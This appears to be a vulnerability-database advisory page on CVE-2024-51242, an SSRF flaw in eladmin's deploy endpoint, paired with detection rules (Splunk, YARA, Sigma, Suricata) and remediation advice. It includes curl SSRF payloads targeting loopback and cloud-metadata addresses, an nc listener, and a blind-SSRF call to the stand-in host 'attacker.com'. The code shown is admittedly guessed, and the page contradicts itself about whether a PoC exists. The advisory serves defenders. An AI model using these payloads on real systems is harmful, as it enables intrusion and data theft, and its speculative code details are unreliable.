CVE-2024-51242
Executive Summary
CVE-2024-51242 identifies a Server-Side Request Forgery (SSRF) vulnerability in eladmin version 2.7 and earlier. The flaw resides in the ServerDeployController.java file, where the HTTP Body ip parameter is not properly validated. An attacker can manipulate this parameter to force the server to make requests to arbitrary internal or external resources, potentially leading to information disclosure, internal network scanning, or further exploitation.
This vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). No public proof-of-concept (PoC) or exploit code has been released at this time. The vendor has not provided a patch or official advisory.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The CVSS score is currently 0.0, indicating that no official CVSS vector has been assigned. Based on the nature of SSRF vulnerabilities, a reasonable estimated vector would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): High (H)
- Integrity (I): None (N)
- Availability (A): None (N)
Estimated CVSS Score: 7.5 (High)
Threat Level: High – SSRF can lead to internal network reconnaissance, access to cloud metadata endpoints, and potential lateral movement.
Deep Dive & Mechanics
The vulnerability exists in the ServerDeployController.java file. The controller likely handles deployment requests and accepts an ip parameter from the HTTP request body. Without proper validation, the application passes this user-supplied IP address directly to a network request function (e.g., HttpURLConnection, RestTemplate, or similar). An attacker can supply an IP address pointing to internal services (e.g., 127.0.0.1, 10.0.0.1, 169.254.169.254) or external malicious servers.
Attack Flow:
- Attacker sends a POST request to the vulnerable endpoint with a crafted
ipparameter. - The server makes a request to the attacker-specified IP.
- The response from that IP is returned to the attacker, potentially leaking sensitive data.
Potential Impact:
- Access to cloud metadata (e.g., AWS
169.254.169.254). - Internal network scanning.
- Exploitation of internal services (e.g., Redis, MySQL).
- Data exfiltration.
Vulnerable vs. Patched Code
Vulnerable Code (eladmin <= 2.7):
// ServerDeployController.java
@PostMapping("/deploy")
public String deploy(@RequestBody ServerDeployRequest request) {
String ip = request.getIp();
// Directly used without validation
String result = networkService.executeCommand(ip);
return result;
}
Patched Code (Hypothetical):
// ServerDeployController.java
@PostMapping("/deploy")
public String deploy(@RequestBody ServerDeployRequest request) {
String ip = request.getIp();
// Validate IP is not private or loopback
if (isInternalIP(ip)) {
throw new SecurityException("Internal IP not allowed");
}
// Additional validation
if (!isValidIP(ip)) {
throw new IllegalArgumentException("Invalid IP");
}
String result = networkService.executeCommand(ip);
return result;
}
Key Differences:
- Input validation is added to reject internal/private IPs.
- Proper IP format validation is enforced.
- Error handling prevents information leakage.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy eladmin 2.7 in a Docker container.
- Set up a listener (e.g.,
nc -lvnp 4444) on an attacker machine. - Use Burp Suite or curl to send malicious requests.
Exploit Payload:
curl -X POST http://target:8080/api/deploy \
-H "Content-Type: application/json" \
-d '{"ip":"127.0.0.1:8080/admin"}'
Advanced Payload (AWS Metadata):
curl -X POST http://target:8080/api/deploy \
-H "Content-Type: application/json" \
-d '{"ip":"169.254.169.254/latest/meta-data/"}'
Blind SSRF Detection:
curl -X POST http://target:8080/api/deploy \
-H "Content-Type: application/json" \
-d '{"ip":"http://attacker.com/collect"}'
Blue Team
Detection Steps:
- Monitor logs for unusual outbound connections from the application server.
- Look for requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8).
- Alert on requests to cloud metadata IPs (169.254.169.254).
- Implement network segmentation to limit outbound traffic from application servers.
Hunting Query (Splunk):
index=web_logs source="/api/deploy"
| search request_body="*ip*"
| eval ip=extract_json("$.ip", request_body)
| where match(ip, "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.|169\.254\.)")
| table _time, src_ip, ip, status
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound connections to private IP ranges from the application server.
- Requests to
169.254.169.254(cloud metadata). - Unusual HTTP responses containing internal data.
File IOCs:
- Modified
ServerDeployController.javawith suspicious IP patterns. - Log files containing internal IP addresses in request bodies.
Behavioral IOCs:
- Unexpected outbound traffic from the application server.
- Repeated failed connection attempts to internal services.
Detection Engineering
YARA Rule
rule CVE_2024_51242_SSRF_Eladmin {
meta:
description = "Detects SSRF exploitation attempts against eladmin CVE-2024-51242"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-51242"
strings:
$s1 = "ip" ascii wide nocase
$s2 = "ServerDeployController" ascii wide nocase
$s3 = "deploy" ascii wide nocase
$ip1 = "127.0.0.1" ascii wide
$ip2 = "169.254.169.254" ascii wide
$ip3 = "10." ascii wide
$ip4 = "192.168." ascii wide
$ip5 = "172.16." ascii wide
condition:
any of ($s*) and any of ($ip*)
}
Sigma Rule
title: SSRF Exploitation Attempt Against eladmin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSRF attempts targeting eladmin CVE-2024-51242
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/deploy'
cs-body|contains: 'ip'
filter:
cs-body|contains:
- '127.0.0.1'
- '169.254.169.254'
- '10.'
- '192.168.'
- '172.16.'
condition: selection and filter
falsepositives:
- Legitimate internal deployments
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-51242 SSRF Attempt Against eladmin";
flow:to_server,established;
content:"POST"; http_method;
content:"/api/deploy"; http_uri;
content:"ip"; http_client_body;
pcre:"/(127\.0\.0\.1|169\.254\.169\.254|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|172\.1[6-9]\.\d{1,3}\.\d{1,3}|172\.2[0-9]\.\d{1,3}\.\d{1,3}|172\.3[0-1]\.\d{1,3}\.\d{1,3})/";
sid:1000001;
rev:1;
reference:cve,2024-51242;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade: If a patched version becomes available, upgrade immediately.
- Input Validation: Implement strict validation of the
ipparameter to reject private, loopback, and link-local addresses. - Network Segmentation: Restrict outbound traffic from the application server to only necessary external services.
- Web Application Firewall (WAF): Deploy WAF rules to block requests containing private IPs in the
ipparameter.
Long-Term Fixes:
- Use an allowlist of permitted IPs or domains.
- Implement a proxy that validates all outbound requests.
- Conduct regular security audits and penetration testing.
Workaround:
- Disable the vulnerable endpoint if not required.
- Apply a virtual patch using a WAF or reverse proxy.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.